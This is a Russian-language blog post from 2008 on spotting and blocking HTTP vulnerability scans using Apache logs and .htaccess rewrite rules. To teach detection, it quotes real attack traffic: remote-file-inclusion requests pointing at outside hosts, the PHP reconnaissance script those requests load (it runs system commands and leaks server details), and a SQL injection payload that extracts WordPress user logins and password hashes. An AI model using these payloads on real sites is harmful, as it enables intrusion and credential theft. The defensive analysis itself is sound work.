Анализируя логи Апача после полуторамесячного отпуска, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.

Если Вы всё еще читаете :-), то скажу, что практическая реализация моего решения требует наличие доступа на запись только к файлу .htaccess, поэтому всё должно работать даже на общем хостинге.

Начнём с объяснения, что я имею в виду под HTTP-сканированием. Под HTTP-сканированием я имею в виду попытки найти уязвимые компоненты сайта методом проб и ошибок. Например:

[-]
View Code (Unknown Language)
80.93.57.226 - - [16/Nov/2008:20:00:51 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:00:52 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 69530 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:00:56 +0200] "GET //?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:00:57 +0200] "GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90888 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] "GET /wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] "GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86208 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:28:41 +0200] "GET /wordpress/319-using-wordpress-without-plugins-from-third-party-application/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 71829 "-"
"libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:28:45 +0200] "GET /?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90948 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:28:48 +0200] "GET /wordpress/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86232 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:14 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:15 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 69530 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:20 +0200] "GET ////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:21 +0200] "GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90888 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:25 +0200] "GET /wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:26 +0200] "GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86208 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:51:19 +0200] "GET /linux/144-easy-way-to-replace-spaces-with-tabs-or-opposite/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 76404 "-" "libwww-perl/5.8
05"

В логах мы видим, что некто 80.93.57.226 (этот адрес принадлежит PeterHost.Ru Hosting Provider) обходит сайт, пытаясь найти какую-то уязвимость (sorry, не знаю, какую) в результате которой скрипт выполнил бы файл http://www.mykr.net/bbs/id.txt.

Вряд ли этот файл долго проживёт, поэтому я приведу его код и объясню, что он делает:

[-]
View Code PHP
<?php
echo "ryey<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "ryey ONLINE<br>";
exit;
?>

Если скопировать этот файл на локальный компьютер и выполнить его, получится что-то вроде этого:

[-]
View Code (Unknown Language)
ryey
os: Linux
uname -a: Linux SJINKS 2.6.27-8-server #1 SMP Thu Nov 6 18:18:16 UTC 2008 x86_64
uptime:  04:44:54 up 13:51,  3 users,  load average: 0.37, 0.26, 0.20
id: uid=1000(...) gid=1000(...) группы=4(adm),8(mail),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),...
pwd: /home/test
user:
phpv: 5.2.6-2ubuntu4
SoftWare:
ServerName:
ServerAddr:
ryey ONLINE

Я запускал скрипт из командной строки, поэтому он не смог определить параметры, относящиеся к HTTP-серверу.

Итак, что же даёт атакующему эта, казалось бы, безобидная информация? Информацию. О том, какая версия ядра установлена, какая версия Apache и PHP, uptime системы (помогает в случае обхода time based authentication, но это детали), адрес сервера. Зная подобную информацию, можно поискать эксплоит под конкретную версию программного обеспечения.

Даже если скрипт не выполнится, атакующий всё равно может получить некоторую информацию о системе. Например, CMS Typo3 частично подвержена данной уязвимости:

[-]
View Code (Unknown Language)
PHP Warning: parse_url(/?_zb_path=http://xxxx.com/bbs/data/vip/id2.txt???) [function.parse-url]: Unable to parse URL in /var/www/domain.ext/typo3conf/ext/realurl/class.tx_realurl.php on line 836

Атакующий получает возможность узнать, какое ПО стоит (в нашем случае это Typo3) и полный путь к ней (на многих хостингах этот путь включает имя пользователя).

Если же скрипт выполнится, это означает, что всё очень плохо: если смог выполниться простой безобидный скрипт, может выполниться и какой-нибудь шелл. Если у Вас выделенный сервер, он сможет пополнить ряды очередного ботнета.

Сканирование может быть не таким явным: например,

[-]
View Code (Unknown Language)
"GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=6254&STRMVER=4&CAPREQ=0 HTTP/1.1"
"GET /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=6254&STRMVER=4&CAPREQ=0 HTTP/1.1"

Так как я знаю, что у меня на сервере подобных файлов нет и быть не могло, я понимаю, что здесь что-то нечисто: ovsswr.dll — это Microsoft SharePoint Team Services; на подобный скан есть две точки зрения:

  1. It is an attempt to gain admin rights (hack).
  2. You're being visited by a user who has installed Microsoft Office and Internet Explorer, and who has enabled the "Discuss" toolbar in his browser. When that toolbar is enabled, the browser will automatically query for these two files when visiting each site, to determine whether the Office Server Extensions are installed.

    If you are on a Windows server, you can install Office Server Extensions (available in Office 2000) and then the /MSOffice/cltreq.asp path will contain a valid file, allowing visitors to discuss content. Wouldn't that be neat?

У каждого свой уровень паранойи (my paranoia is probably worse), так что смотрите сами.

Идём дальше. Зачастую хакеры (или скрипт-киддисы) сканируют сайты на наличие известных дыр, таких как SQL injection. Например, запрос

[-]
View Code (Unknown Language)
/wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,concat(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users\r

пытается использовать уязвимость плагина WassUp; в случае успеха он выдаст атакующему логины и хэш паролей пользователей.

Частыми гостями в логе nginx являются запросы вида

[-]
View Code (Unknown Language)
208.205.78.151 - - [20/Sep/2008:11:56:51 +0300] "GET http://www.intel.com/ HTTP/1.1" 403 529 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)"

Запросы рассчитаны на ошибки в реализациях прокси-серверов.

Теперь переходим к вопросам анализа и противодействия.

Если Ваша хостинговая компания предоставляет вам доступ к логам Апача, Вы можете попытаться обнаружить попытки сканирования самостоятельно: для этого Вам надо найти все запросы, на которые сервер вернул код ошибки 404:

[-]
View Code Bash
grep -E 'HTTP/1\.[01]" 404 ' apache-log.txt > 404.txt

Если на сайте есть битые ссылки, то в логе будет много мусора. Его можно отфильтровать при помощи grep -v, я не буду на этом подробно останавливаться.

Для определения IP-адресов и количества полученных ответов 404 можно воспользоваться такой командой:

[-]
View Code Bash
cat 404.txt | awk '{ print $1 }' | sort | uniq -c | sort -n

Если на IP-адрес приходится небольшое число ответов 404, такие адреса можно, скорее всего игнорировать. Допустим, если нам интересны только IP-адреса, сгенерировавшие не менее ста ответов 404, нам поможет такая команда (Linux rules, однозначно):

[-]
View Code Bash
cat 404.txt | awk '{ print $1 }' | sort | uniq -c | sort -n | awk '{ if ($1 > 100) { system("cat 404.txt | grep " $2 " >> filtered.txt"); } }'

Файл filtered.txt будет содержать интересующие нас запросы.

Проанализировав свой файл, я пришел к следующим результатам:

  • практически все запросы (query string), ориентированные на попытку выполнения удалённого (remote) скрипта, содержат в себе как минимум один лишний знак вопроса, например:
    //?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt?
    /sub.php?sub=http://61.19.234.26/test.txt???
    /admin.php?include_path=http://zionuccarendtsville.org/plugins/spamx/language/COPYRIGHT.txt??
    
    Первый знак вопроса означает начало строки запроса, а вот последний знак вопроса по всем правилам должен записываться как %3F. Я не знаю, зачем люди так сделали, но это отличная сигнатура для поиска;
  • запросы, ищущие уязвимости в реализации прокси, имеют вид GET http://... или GET /http://.... Тоже достаточно просто отловить.
  • из-за какого-то бага в реализации сканера, во многих запросах встречается удвоенный (а иногда даже утроенный) слэш:
    203.177.42.133 - - [22/Jul/2008:10:21:16 +0300] "GET /sitemap.xml///safehtml/safehtml.php?dir[plugins]=http://www.brazebo.it/echo.txt???? HTTP/1.1"
    86.109.96.134 - - [02/Aug/2008:23:53:53 +0300] "GET /sitemap.xml//wp-pass.php?_wp_http_referer=http://www.sv-haslach.com/modules/.../sistem.txt??? HTTP/1.1"
    
    Удвоенный еще куда ни шло, но утроенный — это перебор;
  • у 85% процентов сканеров User-Agent установлен в libwww-perl (ибо Perl — истинно хакерский язык);
  • сканеры, использующие уязвимости для обходафайловой системы, имеют в теле запроса сигнатуры ../ (Linux/Windows) и/или ..\ (Windows). Тоже легко ловится;
  • как правило, большинство сканеров начинают обход с корня сайта: поиск уязвимостей производится методом проб и ошибок: вернул сервер 404? Ладно, пробуем следующий файл. Если же сервер для корня возвращает 403 Forbidden, сканеры обычно прекращают попытки (исключение составляют те сканеры, которые предварительно обходят весь сайт).

Проблема заключается в том, что если сканер начал искать уязвимости, то рано или позно он их может найти. А это именно то, что мы хотим избежать.

А теперь, собственно, решение. Открываем файл .htaccess и добавляем в него строки (желательно в самое начало):

[-]
View Code Apache configuration
<IfModule mod_rewrite.c>
RewriteEngine On

RewriteCond %{QUERY_STRING} [^?]*\? [OR]
RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [OR]
RewriteCond %{QUERY_STRING} (///) [OR]
RewriteCond %{THE_REQUEST} "^(GET|POST) /?https?:"
RewriteRule (.*) $1 [F]
</IfModule>

Первый RewriteCond рассчитан на ботов, которые используют слишком много знаков вопроса, второй — на тех, кто пытается сделать обход файловой системы, третий — на тех, кто перебарщивает со слэшами и четвёртый — на тех, кто пытается найти уязвимый прокси.

Данное решение не является панацеей, но, тем не менее, довольно действенное.

Есть одно очень радикальное средство: запретить доступ всем libwww-perl:

[-]
View Code Apache configuration
SetEnvIf User-Agent "^libwww-perl" badua
Order Allow,Deny
Allow from all
Deny from env=badua
Добавить в закладки
  • del.ici.ous
  • Digg
  • Furl
  • Google
  • Simpy
  • Spurl
  • Y! MyWeb
  • БобрДобр
  • Мистер Вонг
  • Яндекс.Закладки
  • Текст 2.0
  • News2
  • AddScoop
  • RuSpace
  • RUmarkz
  • Memori
  • Закладки Google
  • Писали
  • СМИ 2
  • Моё Место
  • Сто Закладок
  • Ваау!
  • Technorati
  • RuCity
  • LinkStore
  • NewsLand
  • Lopas
  • Закладки - I.UA
  • Connotea
  • Bibsonomy
  • Trucking Bookmarks
  • Communizm
  • UCA

Связанные записи

19
Ноя
2008

Комментарии к статье «Минимизируем неприятные последствия HTTP-сканирования» (1)  »

  1. Vladimir says:

    Данная конфигурация успешно прошла тестирование сканером Nikto:

    [-]
    View Code Apache configuration
    <IfModule mod_rewrite.c>
    RewriteEngine On

    RewriteCond %{QUERY_STRING} [^?]*\? [OR]
    RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [OR]
    RewriteCond %{QUERY_STRING} (///) [OR]
    RewriteCond %{THE_REQUEST} "^(GET|POST) /?https?:" [OR]
    RewriteCond %{THE_REQUEST} "^(GET|POST|HEAD) //"
    RewriteRule (.*) $1 [F]

    RewriteBase /
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]

    </IfModule>

    выдав ложное срабатывание:

    [-]
    View Code (Unknown Language)
    + OSVDB-6659: GET //mjOBSzH8ieiUEDLZCd16N0PKeX82FUtQqK0hflmti6YQG8iiB02CBte7HdUt9UEnFImwu1n74gXfAADVMl3Gfa7X4UOAfOA4fngZg8fwIKNhWGjIlrKMXeVPAVMEuiCnl7LHpRrjOOnZqBVTXWO4Q9hzaF2rWT0xSVENILkT4iHp5biJMzN9WoZuZkTVGrbwabcPzOrPQoPCNkahQRZnLxFBcAIikV0<font%20size=50>DEFACED<!--//-- : MyWebServer 1.0.2 is vulnerable to HTML injection. Upgrade to a later version.

Подписаться на RSS-ленту комментариев к статье «Минимизируем неприятные последствия HTTP-сканирования» Trackback URL: http://blog.sjinks.org.ua/security/361-minimizing-consequences-of-http-scans/trackback/

Оставить комментарий к записи «Минимизируем неприятные последствия HTTP-сканирования»

Вы можете использовать данные тэги: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Оставляя комментарий, Вы выражаете своё согласие с Правилами комментирования.

Подписаться, не комментируя